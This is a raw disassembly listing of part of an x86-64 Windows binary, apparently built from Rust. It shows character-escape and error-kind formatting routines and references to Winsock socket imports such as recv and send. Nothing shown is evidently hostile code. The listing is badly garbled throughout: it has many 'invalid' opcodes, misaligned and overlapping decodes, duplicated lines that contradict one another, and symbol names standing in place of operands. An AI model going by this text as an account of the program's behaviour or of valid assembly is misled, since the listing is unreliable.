and al, 0x88
add byte [rax], al
add byte [rbp + 1], cl
ror dword [rcx + rcx*4 + 0x44], 0x24
invalid
mov dword [rsp + 0x98], ecx
add byte [rcx + rcx*4 + 0x4c], cl
and al, 0x68
mov qword [rsp + 0x68], r9
mov byte [rsp + 0x70], 0x81
mov byte [rsp + 0x7c], 0x81
invalid
and al, 0x70
add esi, 0x817c2444
invalid
add dword [rcx - 0x4b], 0x6f0f6681
mov r13b, 0x81
movdqa xmm6, xmmword [0x1401688e0]
xor eax, 0x34027
xor eax, 0x34027
movdqa xmm7, xmmword [0x1401688f0]
outsd dx, dword [rsi]
cmp eax, 0x3402f
movdqa xmm8, xmmword [0x140168900]
movq mm0, qword [0x140168900]
add byte [rax - 0x77], cl
and al, 0x58
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x50], eax
mov eax, ebx
movzx ebx, word [rsp + 0x58]
mov bh, 0x5c
and al, 0x58
shl rbx, 0x30
movzx ebp, word [rsp + 0x50]
xor byte [rdi], cl
mov bh, 0x6c
and al, 0x50
jmp 0x140134930
lea rax, [0x14016d805]
lea rax, [0x14016d805]
add byte [rax - 0x77], cl
and al, 0x28
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x30], 0x12f
mov dword [rsp + 0x30], 0x12f
add byte [rax - 0x39], cl
and al, 0x20
invalid
mov qword [rsp + 0x20], 0x11f
mov r8d, 0x28
mov eax, 0x28
add dword [rax], eax
add byte [rcx - 0x48], al
invalid
sub byte [rax], al
add byte [rax], al
mov ecx, r13d
lea rdx, [0x14016d696]
adc eax, 0x38d82
adc eax, 0x38d82
lea r9, [0x14016d6e6]
or eax, 0x38dcb
call fcn.14005e4b0
test al, al
ror byte [rdi], 0x85
add dword [rax], eax
invalid
wait
inc dword [rax + rax*8 + 0x142850f]
ror byte [rdi], 0x85
add dword [rax], eax
invalid
add dword [rax], eax
add cl, ch
jmp 0x140134b70
invalid
invalid
jmp 0x140134b70
add byte [rax], al
nop dword [rax]
invalid
cmp r13b, 0x81
je 0x140134949
std
xor dword [rbx + rdx + 0x41], 0xf80fd80
cmp r13b, 0x80
je 0x140134ce0
add eax, dword [rax]
add byte [rax + rdi - 0x20], al
cmp al, r12b
or byte [rdi], 0x84
movabs al, byte [0x820fe03844000003]
add eax, dword [rax]
add byte [rax + rdi - 0x20], al
cmp al, r12b
jb 0x140134d10
invalid
invalid
cmp al, r12b
jb 0x140134d10
dec dword [rdi]
test byte [rsp + rax], al
add byte [rax], al
cmp rdi, qword [rsp + 0x98]
je 0x140134d56
add byte [rax], al
add byte [rax], al
movzx edx, byte [rdi]
movzx r13d, dl
test r13b, r13b
js 0x140134990
out dx, al
cmp r13d, 0x27
jbe 0x140134a10
jmp case.default.0x140134a1e
add byte [rax], al
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rcx + rcx*4 - 0x18], al
mov eax, r13d
and eax, 0x1f
movzx r8d, byte [rdi + 1]
and r8d, 0x3f
cmp r13b, 0xdf
jbe case.0x1400693d1.3353
movzx ecx, byte [rdi + 2]
shl r8d, 6
mov dh, 0x4f
add al, byte [rcx - 0x3f]
loopne 0x1401349b3
and ecx, 0x3f
or ecx, r8d
cmp dl, 0xf0
jb case.0x14012f071.1090
movzx r13d, byte [rdi + 3]
and eax, 7
shl eax, 0x12
loopne 0x1401349d5
shl ecx, 6
loopne 0x1401349d5
and r13d, 0x3f
or r13d, ecx
or r13d, eax
cmp r13d, 0x110000
je 0x140134d56
add rdi, 4
mov esi, r13d
cmp r13d, 0x27
cmp ebp, 0x27
jbe 0x140134a10
add rdi, 2
shl eax, 6
or eax, r8d
mov r13d, eax
mov esi, r13d
cmp r13d, 0x27
ja case.default.0x140134a1e
invalid
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [0x14020b814]
or eax, 0xd6dfd
movsxd rax, dword [rcx + rsi*4]
add al, 0xb1
add rax, rcx
jmp rax
invalid
loopne 0x140134a69
add rdi, 3
add edi, 3
shl eax, 0xc
or al, 9
rol dword [rcx - 0x77], 0xcd
or ecx, eax
mov r13d, ecx
mov esi, r13d
mov esi, ebp
out dx, al
cmp r13d, 0x27
jbe 0x140134a10
invalid
invalid
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rcx - 0x7d], al
cmp r13d, 0x5c
std
pop rsp
je 0x140134cc4
add byte [rcx + rcx*4 - 0x17], al
mov ecx, r13d
call fcn.14005e350
test al, al
inc dword [rax + rax*8 + 0x116850f]
inc dword [rax + rax*8 + 0x116850f]
jne 0x140134b70
add dword [rax], eax
add byte [rcx - 0x7d], al
std
and byte [rdi], cl
invalid
add byte [rax], al
cmp r13d, 0x20
jb 0x140134b70
invalid
cmp r13d, 0x7f
cmp ebp, 0x7f
std
jg case.0x140107dc6.945
jae 0x140134aa0
shl rsi, 0x10
shl rsi, 0x10
out 0x10, al
adc byte [rcx - 0x77], cl
fisttp word [rcx + 9]
mov r15, rbx
or r15, rbp
out dx, eax
out dx, eax
or r15, rsi
or edi, esi
mov r13b, 0x80
movzx eax, byte [rsp + 0x4f]
mov dh, 0x44
and al, 0x4f
mov esi, eax
invalid
movzx eax, byte [rsp + 0x4e]
mov dh, 0x44
and al, 0x4e
mov r12d, eax
invalid
mov eax, r14d
jmp 0x140134930
invalid
jmp qword [rsi + 0x66]
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
add byte [rax], al
add byte [rcx - 0x7f], al
add byte [rax], al
cmp r13d, 0x10000
std
add byte [rax], al
invalid
add byte [rcx], al
add byte [rdi], cl
add dword [rax], eax
jb 0x1401348e6
invalid
invalid
inc dword [rcx - 0x7f]
std
add byte [rax], al
cmp r13d, 0x20000
add al, byte [rax]
add byte [rbx + 0x44], dh
jae 0x140134afa
lea rax, [0x14016d4d4]
add eax, 0x38a17
invalid
mov al, byte [rbx]
add byte [rax - 0x77], cl
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x28], rax
and al, 0x28
sub byte [rax - 0x39], cl
mov qword [rsp + 0x30], 0x1c2
and al, 0x30
ret 1
add dword [rax], eax
add byte [rax - 0x39], cl
and al, 0x20
and al, 0x20
mov qword [rsp + 0x20], 0xc4
and al, 0x20
and ah, al
invalid
add byte [rax], al
add byte [rcx - 0x48], al
invalid
invalid
mov r8d, 0x2c
mov eax, 0x2c
sub al, 0
add byte [rax], al
mov ecx, r13d
jmp 0x11428d829
lea rdx, [0x14016d3b8]
add byte [rbp + rcx*4 + 0xd], cl
lea r9, str._f__NO
lea ecx, str._f__NO
and eax, 0xe8000389
add al, ch
call fcn.14005e4b0
rcr byte [rcx - 0x3f7b000e], 0xf
test dword [rdx - 1], esi
test al, al
ror byte [rdi], 0x85
jb 0x140134af5
jne case.0x140130eaa.134
invalid
invalid
jmp 0x140134b70
jbe 0x140134b3c
lea eax, [r13 - 0xe01f0]
cmp eax, 0x2fe10
adc dh, bh
int1
invalid
jb 0x140134b70
push 0x6e0f4166
invalid
movd xmm0, r13d
pshufd xmm0, xmm0, 0
pshufw mm0, mm0, 0
paddd xmm0, xmm6
inc dh
invalid
pxor xmm0, xmm7
movdqa xmm1, xmm8
movq mm1, mm0
movq mm1, mm0
movq mm1, mm0
pcmpgtd xmm1, xmm0
movmskps eax, xmm1
enter 0x500f, 0xffffffffffffffc1
test al, al
jne 0x140134b70
invalid
lea eax, [r13 - 0x3134b]
lea eax, [r13 - 0x3134b]
inc dword [rbx + 0x3a7205f8]
cmp eax, 5
jb 0x140134b70
lea eax, [r13 - 0x323b0]
cmp eax, 0xadd50
or al, byte [rax]
or al, byte [rax]
jb 0x140134b70
mov eax, r13d
and eax, 0xffffffe0
loopne 0x140134b88
loopne 0x140134af3
cmpsb byte [rsi], byte [rdi]
add al, byte [rax]
invalid
cmpsb byte [rsi], byte [rdi]
add al, byte [rax]
invalid
add byte [rdi + rbx + 0x44], dh
mov eax, ebp
and eax, 0xfffffffe
cmp eax, 0x2b81e
jne case.0x140130eaa.134
test dword [rax], ecx
invalid
invalid
invalid
je 0x140134b70
nop word cs:[rax + rax]
mov byte [rsp + 0x46], 0
mov word [rsp + 0x44], 0
add byte [rax], r8b
mov byte [rsp + 0x4d], 0x7d
mov eax, r13d
shr eax, 0x14
lea rcx, str.0123456789abcdeflibrarycore_srcescape.rs
or eax, 0x38e02
or eax, 0x38e02
movzx eax, byte [rax + rcx]
mov byte [rsp + 0x47], al
and al, 0x47
and al, 0x47
mov eax, r13d
shr eax, 0x10
and eax, 0xf
movzx eax, byte [rax + rcx]
mov byte [rsp + 0x48], al
and al, 0x48
mov eax, r13d
shr eax, 0xc
and eax, 0xf
movzx eax, byte [rax + rcx]
mov byte [rsp + 0x49], al
and al, 0x49
mov dh, 4
or byte [rax + 0x44492444], cl
and al, 0x49
mov eax, r13d
and al, 0x49
mov eax, r13d
shr eax, 8
and eax, 0xf
invalid
call 0x14ff3cec9
or byte [rbx - 0x49f0f020], al
add al, 8
invalid
movzx eax, byte [rax + rcx]
mov byte [rsp + 0x4a], al
mov eax, r13d
shr eax, 4
and eax, 0xf
movzx eax, byte [rax + rcx]
add al, 8
add al, 8
mov byte [rsp + 0x4b], al
mov eax, r13d
and eax, 0xf
movzx eax, byte [rax + rcx]
mov byte [rsp + 0x4c], al
or r13d, 1
bsr ecx, r13d
xor ecx, 0x1c
shr ecx, 2
lea rax, [rcx - 2]
mov byte [rsp + rcx + 0x44], 0x7b
or al, 0x44
jnp 0x140134c66
mov dword [rsp + rcx + 0x42], 0xf44755c
mov bh, 0x6c
insb byte [rdi], dx
and al, 0x44
or al, 0x44
jnp 0x140134c66
mov dword [rsp + rcx + 0x42], 0xf44755c
mov bh, 0x6c
insb byte [rdi], dx
or al, 0x42
pop rsp
jne 0x140134c4b
movzx ebp, word [rsp + 0x44]
insb byte [rdi], dx
and al, 0x44
mov r9, qword [rsp + 0x46]
mov esi, r13d
mov esi, r13d
shr esi, 8
mov rcx, r9
and rcx, 0xffffffffffff0000
add bh, bh
dec dword [rbp - 0x77]
enter 0xffffffffffffc149, 0xffffffffffffffe8
invalid
add bh, bh
dec dword [rbp - 0x77]
enter 0xffffffffffffc149, 0xffffffffffffffe8
xor byte [rcx - 0x4c], al
or ch, bl
shr eax, 0x30
mov r12b, 0xa
jmp 0x140134c7a
invalid
mov r12b, 2
mov r13b, 0x5c
mov sil, 0x30
jmp 0x140134c70
add al, byte [rcx - 0x4b]
pop rsp
mov sil, reloc.WS2_32.dll_WSACleanup
mov dh, reloc.WS2_32.dll_WSACleanup
jmp 0x140134c70
mov r12b, 2
mov r13b, 0x5c
pop rsp
pop rsp
mov sil, WSAGetLastError
outsb dx, byte [rsi]
jmp 0x140134c70
mov ah, 2
mov r13b, 0x5c
mov sil, WSAStartup
invalid
jb case.0x140134a1e.10
jmp 0x140134c70
invalid
mov ch, 0x5c
mov sil, 0x22
jmp 0x140134c70
mov r12b, 2
mov r13b, 0x5c
add al, byte [rcx - 0x4b]
pop rsp
mov sil, 0x27
mov dh, 0x27
nop dword [rax]
xor r8d, r8d
sal byte [rcx], 0xc9
xor ecx, ecx
xor r9d, r9d
xor eax, eax
invalid
ror byte [rax - 0x46], 0
add bh, bh
invalid
movabs rdx, 0xffffffff0000
and rcx, rdx
invalid
mov qword [rsp + 0x58], r8
pop rax
movzx edx, r8w
mov bh, 0xd0
shl rdx, 0x30
or rdx, rcx
or edx, ecx
or edx, ecx
mov qword [rsp + 0x50], r9
movzx r15d, r9w
or r15, rdx
mov ecx, esi
mov byte [rsp + 0x4f], sil
mov ecx, r12d
mov byte [rsp + 0x4e], r12b
mov r14d, eax
mov r14d, eax
cmp r13b, 0x81
jne case.0x140131419.94
or dword [rdi], 0xfffc1785
invalid
jmp 0x140134d56
add byte [rcx - 0x4c], al
mov r12b, 2
mov sil, 0x5c
add al, byte [rax - 0x4a]
pop rsp
xor r8d, r8d
mov r13b, 0x5c
jmp 0x140134c73
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x3f], cl
shr r15, 0x10
mov edx, r15d
out dx, eax
adc byte [rcx + rcx*4 - 6], al
lea rax, [rsp + 0x70]
and al, 0x70
mov dword [rax + 8], 0
mov qword [rax], 0
add byte [rax], al
add byte [rbp + 0x31], al
xor edi, edi
add byte [rax], al
add byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
add byte [rbp + 0x31], al
xor edi, edi
invalid
xor edi, edi
xor esi, esi
test byte [rbp + 0x31], 0xe4
xor r12d, r12d
xor ebx, ebx
xor r13d, r13d
xor ebp, ebp
xor ebp, ebp
jmp 0x140134d37
add byte [rax], al
add byte [rax], al
invalid
add byte [rax + rcx*4 + 0x64], al
mov byte [rsp + 0x7b], r12b
and al, 0x7b
mov byte [rsp + 0x70], r13b
mov byte [rsp + 0x71], sil
mov qword [rsp + 0x72], r15
lea ebx, [rax + 1]
mov byte [rsp + 0x7a], bl
movzx ecx, al
cmp al, 0xa
jae 0x140134d85
movzx edx, byte [rsp + rcx + 0x70]
mov rcx, qword [rsp + 0x88]
mov rax, qword [rsp + 0x90]
call qword [rax + 0x20]
test al, al
je 0x1401348d4
mov al, 1
jmp 0x140134d58
xor eax, eax
movaps xmm6, xmmword [rsp + 0xa0]
movaps xmm7, xmmword [rsp + 0xb0]
movaps xmm8, xmmword [rsp + 0xc0]
add rsp, 0xd8
invalid
fadd dword [rax]
add byte [rax], al
add byte [rbx + 0x5d], bl
add byte [rax], al
add byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, [0x1401dad78]
mov edx, 0xa
call fcn.140160ed0
ud2
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
mov qword [rbp], 0xfffffffffffffffe
mov rsi, rdx
mov esi, edx
mov esi, edx
mov rdi, qword [rcx]
mov eax, edi
and eax, 3
lea rcx, [0x14020b8b4]
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add rax, rcx
jmp rax
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1401db5d4]
mov r8d, 5
mov eax, 5
call qword [rax + 0x18]
mov qword [rbp - 0x20], rsi
mov byte [rbp - 0x18], al
call 0x140fc93b9
sbb byte [rax - 0x77], cl
jne 0x140134dcc
call 0x140fc93b9
lea r9, [rdi + 0x10]
lea rax, [0x140135250]
add byte [rax], al
adc byte [r8 - 0x73], r9b
add eax, 0x452
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x20
mov qword [rsp + 0x20], rax
lea rdx, [0x1401db5ab]
lea edx, [0x1401db5ab]
movabs eax, dword [0x41e0758d48000a67]
mov eax, 4
add byte [rax], al
invalid
lea rsi, [rbp - 0x20]
mov r8d, 4
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
mov ecx, esi
mov rcx, rsi
mov ecx, esi
call fcn.14005ca00
lea rax, [0x140135230]
lea eax, [0x140135230]
in al, 0x7b
dec dword [rax - 0x73]
lea eax, [0x140135230]
jnp 0x140134e0d
lea eax, [0x140135230]
or eax, 0x48000004
mov dword [rsp + 0x20], eax
and al, 0x20
add byte [rax], al
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x20
lea rdx, [0x1401e1a33]
lea edx, [0x1401e1a33]
or al, byte [rax]
mov r8d, 7
invalid
add byte [rax - 0x77], cl
int1
mov rcx, rsi
mov r9, rdi
mov ecx, edi
call fcn.14005ca00
cmp byte [rbp - 0x17], 0
jge 0x140134e2c
add byte [rdi], cl
mov dh, 0x5d
call 0x140a2d35b
invalid
pop qword [rax]
add byte [rax], al
invalid
jnp case.0x140130eaa.181
jge 0x140134e2c
jmp 0x19dc95d47
mov dh, 0x5d
call 0x140a2d35b
invalid
pop qword [rax]
add byte [rax], al
invalid
test dword [rdi - 0x17000000], ecx
add cl, ch
jmp 0x1401351cc
jns 0x140134e54
add eax, dword [rax]
add byte [rax - 0x73], cl
invalid
invalid
add byte [rax], al
lea rax, [rdi - 1]
dec dword [r8 - 0x7d]
add rdi, 0xf
mov qword [rbp - 0x38], rax
enter 0xffffffffffff8b48, 0x4e
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
adc eax, 0xa7845
invalid
enter 0xffffffffffff8b48, 0x4e
enter 0xffffffffffff8b48, 0x4e
and byte [rax - 0x75], r9b
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
lea edx, [0x1401dc6b3]
adc eax, 0xa7845
or al, byte [rax]
add byte [rcx - 0x48], al
invalid
mov r8d, 6
mov eax, 6
add byte [rax], al
add bh, bh
call qword [rax + 0x18]
mov qword [rbp - 0x20], rsi
jne 0x140134e5b
mov byte [rbp - 0x18], al
call 0x140fc9448
push rax
sbb byte [rax - 0x77], cl
jne 0x140134e5b
loopne 0x140134e04
call 0x140fc9448
call 0x140fc9448
add byte [rax - 0x73], cl
lea rax, [0x140135250]
add eax, 0x3c7
mov dword [rbx], 0x89480000
mov qword [rsp + 0x20], rax
and al, 0x20
and byte [rax - 0x73], cl
adc eax, 0xa6716
invalid
or al, byte [eax]
lea rdx, [0x1401db5ab]
invalid
or al, byte [eax]
lea rsi, [rbp - 0x20]
mov r8d, 4
add byte [rax], al
mov rcx, rsi
int1
mov r9, rdi
call fcn.14005ca00
lea rax, [0x140135210]
pop rdi
add eax, dword [rax]
invalid
dec dword [rax - 0x73]
add eax, 0x35f
pop rdi
add eax, dword [rax]
invalid
pop rdi
add eax, dword [rax]
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x20], rax
and byte [rax - 0x73], cl
adc eax, 0xa77fc
cld
ja 0x140134ec6
invalid
lea rdx, [0x1401dc6b9]
cld
ja 0x140134ec6
add byte [rbp + rcx*4 + 0x4d], cl
enter 0xffffffffffffb841, 5
invalid
invalid
invalid
add byte [rax], al
invalid
lea r9, [rbp - 0x38]
lea ecx, [rbp - 0x38]
mov r8d, 5
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rsi
int1
call fcn.14005ca00
cmp byte [rbp - 0x17], 0
jmp 0x19dc95dd6
call 0x14302d2ea
add byte [rax], al
inc dword [rax + 0xf00e97d]
mov dh, 0x5d
pop rbp
jmp 0x19dc95dd6
pop rbp
call 0x14302d2ea
add byte [rax], al
out dx, eax
add al, byte [rax]
add byte [rbx + rbx*8 - 0x7af0fe4d], al
test bl, bl
mov bl, 1
add dword [rdi], ecx
invalid
test ebp, esp
invalid
test bl, bl
mov bl, 1
invalid
jne 0x1401351cc
test ebp, esp
add al, byte [rax]
add byte [rax], al
invalid
invalid
add byte [rax], al
mov rax, qword [rbp - 0x20]
test byte [rax + 0x34], 4
xor al, 4
loopne 0x140134ee2
xor al, 4
xor al, 4
jne case.0x140134a1e.61
and al, 1
add byte [rax], al
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1401da4d0]
push rbp
or al, byte [rax]
invalid
mov r8d, 2
mov eax, 2
add cl, ch
mov ah, 2
jmp 0x1401351c3
add byte [rax], al
shr rdi, 0x20
out dx, eax
and byte [rcx - 0x74b72383], cl
fmul qword [rax - 0x75]
mov dword [rbp - 0x24], edi
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
fmul qword [rax - 0x75]
and byte [rax - 0x75], r9b
and byte [rax - 0x75], cl
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x73], r9b
lea rdx, [0x1401db5a5]
adc eax, 0xa6680
mov r8d, 2
add al, byte [rax]
add byte [rax], al
call qword [rax + 0x18]
mov qword [rbp - 0x38], rsi
mov byte [rbp - 0x30], al
mov byte [rbp - 0x2f], 0
lea rax, [0x140135280]
add eax, dword [rax]
add byte [rax - 0x77], cl
and al, 0x20
and al, 0x20
mov qword [rsp + 0x20], rax
and al, 0x20
or al, byte [rax]
lea rsi, [rbp - 0x38]
lea r9, [rbp - 0x24]
mov r8d, 4
mov rcx, rsi
lea rdi, [rbp - 0x20]
mov rcx, rdi
call case.0x14010e86a.827
invalid
invalid
invalid
invalid
invalid
lea rax, [0x140013960]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
jmp 0xc95c4f97
mov dword [rsp + 0x20], eax
lea rdx, [0x1401e1a33]
mov r8d, 7
mov eax, 7
retf 0xa
mov eax, 7
add byte [rax - 0x77], cl
int1
mov rcx, rsi
mov r9, rdi
call fcn.14005ca00
cmp edi, dword [rdx - 0xe]
invalid
cmp edi, dword [rdx - 0xe]
inc dword [rax + 0xf00d17d]
mov dh, 0x5d
pop rbp
cmp byte [rbp - 0x2f], 0
movzx ebx, byte [rbp - 0x30]
sal byte [rbx + rdi*2 - 0x50], 1
add dword [rbx + rbx*8 - 0x74b78f8b], eax
test bl, bl
jne case.0x140134a1e.72
mov rax, qword [rbp - 0x38]
test byte [rax + 0x34], 4
jne case.0x140134a1e.66
mov rcx, qword [rax + 0x20]
je 0x14013504a
mov al, 1
test bl, bl
jne case.0x140134a1e.72
mov rax, qword [rbp - 0x38]
test byte [rax + 0x34], 4
jne case.0x140134a1e.66
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1401da4d0]
mov r8d, 2
call qword [rax + 0x18]
push rax
sbb bl, ch
invalid
shr rdi, 0x20
cmp edi, 0x28
ja case.default.0x140135010
invalid
lea rax, [0x14020b8c4]
movsxd rcx, dword [rax + rdi*4]
add rcx, rax
jmp rcx
invalid
xor eax, eax
jmp 0x140135127
invalid
add dword [rax], eax
invalid
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1401dc0ab]
jmp 0x1401351bd
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1401dc0ab]
mov r8d, 1
call qword [rax + 0x18]
mov byte [rbp - 0x30], al
mov ebx, eax
ret
cmp qword [rbp - 0x18], 0
je 0x1401351cc
ja 0x140135054
add byte [rax], al
mov r8, qword [rbp - 0x20]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
shr byte [rdi], 3
add cl, ch
jmp 0x1401351cc
pop rdi
add dword [rax], eax
add byte [rax], al
mov al, 0x29
invalid
mov bl, 0
invalid
add byte [rax], al
mov al, 0x29
jmp 0x140135127
add byte [rax], al
invalid
add byte [rax], al
mov al, 1
jmp 0x140135127
add byte [rax], al
add byte [rax], al
mov al, 2
jmp 0x140135127
add byte [rax], al
add byte [rax], al
mov al, 3
jmp 0x140135127
add byte [rax], al
add byte [rax], al
mov al, 4
jmp 0x140135127
add byte [rax], al
add byte [rax], al
mov al, 5
jmp 0x140135127
add byte [rax], al
add byte [rax], al
mov al, 6
jmp 0x140135127
add byte [rax + 0x82e907], dh
add byte [rax], al
mov al, 7
jmp 0x140135127
invalid
add byte [rax], al
invalid
invalid
mov al, 8
jmp 0x140135127
mov al, 9
jmp 0x140135127
mov al, 0xa
jmp 0x140135127
mov al, 0xb
jmp 0x140135127
mov al, 0xc
jmp 0x140135127
mov al, 0xd
jmp 0x140135127
mov al, 0xe
jmp 0x140135127
mov al, recv
jmp 0x140135127
mov al, reloc.WS2_32.dll_recv
jmp 0x140135127
mov al, 0x11
jmp 0x140135127
mov al, send
jmp 0x140135127
mov al, reloc.WS2_32.dll_send
jmp 0x140135127
mov al, setsockopt
jmp 0x140135127
mov al, reloc.WS2_32.dll_setsockopt
jmp 0x140135127
mov al, reloc.WS2_32.dll_shutdown
jmp 0x140135127
mov al, 0x17
jmp 0x140135127
mov al, 0x18
jmp 0x140135127
mov al, 0x19
jmp 0x140135127
mov al, 0x1a
jmp 0x140135127
mov al, 0x1b
jmp 0x140135127
mov al, 0x1c
jmp 0x140135127
mov al, 0x1d
jmp 0x140135127
mov al, 0x1e
jmp 0x140135127
mov al, 0x1f
jmp 0x140135127
mov al, 0x20
jmp 0x140135127
mov al, 0x21
jmp 0x140135127
mov al, 0x22
jmp 0x140135127
mov al, 0x23
jmp 0x140135127
mov al, 0x24
jmp 0x140135127
mov al, 0x25
jmp 0x140135127
mov al, 0x26
jmp 0x140135127
mov al, 0x27
jmp 0x140135127
mov al, 0x28
mov byte [rbp - 0x38], al
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str.KindError__os_error
mov r8d, 4
call qword [rax + 0x18]
mov qword [rbp - 0x18], rsi
mov byte [rbp - 0x10], al
mov qword [rbp - 0x20], 0
mov byte [rbp - 0xf], 0
lea r8, [0x1401db5b0]
lea rcx, [rbp - 0x20]
lea rdx, [rbp - 0x38]
call fcn.14005cdb0
mov rax, qword [rbp - 0x20]
movzx ecx, byte [rbp - 0x10]
test rax, rax
je 0x1401351ca
mov bl, 1
test cl, cl
jne 0x1401351cc
mov rsi, qword [rbp - 0x18]
cmp rax, 1
jne 0x1401351ae
cmp byte [rbp - 0xf], 0
je 0x1401351ae
test byte [rsi + 0x34], 4
jne 0x1401351ae
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str._____
mov r8d, 1
call qword [rax + 0x18]
test al, al
jne 0x1401351cc
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1401dff48]
mov r8d, 1
call qword [rax + 0x18]
mov ebx, eax
jmp 0x1401351cc
mov ebx, ecx
test bl, bl
setne al
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop rbp
ret
invalid
add al, 0x48
add ecx, 0x30
mov r8d, 0x27
sub r8, rax
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
mov dword [rsp + 0x20], ecx
lea r8, [0x140204680]
mov rcx, r10
add byte [rcx + rcx*4 - 0x2f], cl
xor r9d, r9d
call fcn.140059040
nop
add rsp, 0xb0
add byte [rax], al
pop rbx
pop rdi
pop rsi
ret
add eax, 0x3789e
mov edx, 0x80
call fcn.140160e60
add byte [rdi], cl
invalid
add byte [rdi], cl
or ecx, esp
int3
int3
sub esp, 0x58
inc rdx
je 0x14013556f
jmp 0x102a76444
loop 0x140135518
test rax, rax
je 0x140135536
mov rcx, qword [rsi]
shl rax, 5
loopne 0x140135526
loopne 0x140135526
mov qword [rsp + 0x28], rcx
and al, 0x28
mov qword [rsp + 0x30], 8
or byte [rax], al
add byte [rax], al
mov qword [rsp + 0x38], rax
and al, 0x38
jmp 0x14013553f
mov qword [rsp + 0x30], 0
and al, 0x30
add byte [rax], al
add byte [rax], al
lea rcx, [rsp + 0x40]
lea ecx, [rsp + 0x40]
lea r9, [rsp + 0x28]
and al, 0x28
call fcn.140058090
cmp qword [rsp + 0x40], 0
mov rcx, qword [rsp + 0x48]
mov ecx, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x48]
mov eax, 1
add byte [rax], al
invalid
pop rsp
jrcxz 0x140135560
sub esp, 0x20
in al, dx
and byte [rax - 0x77], cl
mov rdi, rcx
mov ebx, dword [rcx + 0x10]
adc byte [rax - 0x7b], cl
invalid
test rbx, rbx
je case.0x140130eaa.237
invalid
cmp eax, 0x32a73
add eax, dword [rax]
add bl, ch
adc ah, byte [rsi + 0xf]
invalid
invalid
invalid
jmp 0x1401355c9
nop word [rax + rax]
test byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x7d], cl
invalid
invalid
add byte [rax], al
add r14, 0x20
add esi, 0x20
dec rbx
dec ebx
je case.0x140130eaa.237
sbb byte [rcx - 0x7d], cl
cmp qword [r14], 0
je 0x1401355c0
add byte ds:[rcx + rsi*8 + 0x4d], dh
add byte [rcx + rsi*8 + 0x4d], dh
mov r8, qword [r14 - 8]
mov eax, dword [rsi - 8]
mov rcx, qword [0x140215360]
xchg ch, bh
or eax, 0x41d23100
xor edx, edx
invalid
xor edx, edx
call r15
call rdi
rol byte [rcx - 1], cl
xlatb
call rdi
jmp 0x1401355c0
or byte [rax], al
je 0x140135606
invalid
add eax, dword [rax]
nop
int3
int3
int3
int3
sub dword [rsp + 0x50], eax
and al, 0x50
movaps xmmword [rsp + 0x40], xmm0
sub dword [rsp + 0x40], eax
movaps xmmword [rsp + 0x30], xmm0
and al, 0x30
mov dword [rsp + 0x60], 0
and al, 0x60
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
lea rdx, [rsp + 0x30]
mov ecx, edi
stc
test ecx, 0x400
add byte [rax], al
je case.0x1401316c1.211
invalid
mov dword [rsp + 0x28], 0
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x28
invalid
lea r8, [rsp + 0x28]
lea eax, [rsp + 0x28]
mov ecx, edi
mov edx, 9
add byte [rax], al
add byte [rcx - 0x47], al
mov r9d, 8
or byte [rax], al
add byte [rax], al
xchg edi, eax
imul eax, dword [rdx], 0x74c08500
add al, byte [rax]
test eax, eax
invalid
jp 0x14013561b
adc eax, 0x231ff8c1
clc
invalid
sub al, 0x8b
and al, 0x30
and al, 0x54
mov r9d, dword [rsp + 0x50]
loope case.0x14012f071.1149
or r9, rdx
push rsp
and al, 0x58
mov r10d, dword [rsp + 0x60]
mov r11d, dword [rsp + 0x5c]
shl ebx, 0x20
jrcxz case.0x14012f071.1152
or r11, r10
or ebx, edx
ror dword [rax - 0x39], cl
mov qword [rsi], 1
mov dword [rsi], 1
invalid
mov qword [rsi + 8], r11
mov dword [rsi + 8], ebx
pop rsi
or bh, al
mov dword [rsi + 0x10], 1
add dword [rax], eax
add byte [rax], al
mov dword [rsi + 0x14], r8d
sbb byte [rcx], r8b
push rsi
sbb al, 0xf
movups xmmword [rsi + 0x20], xmm0
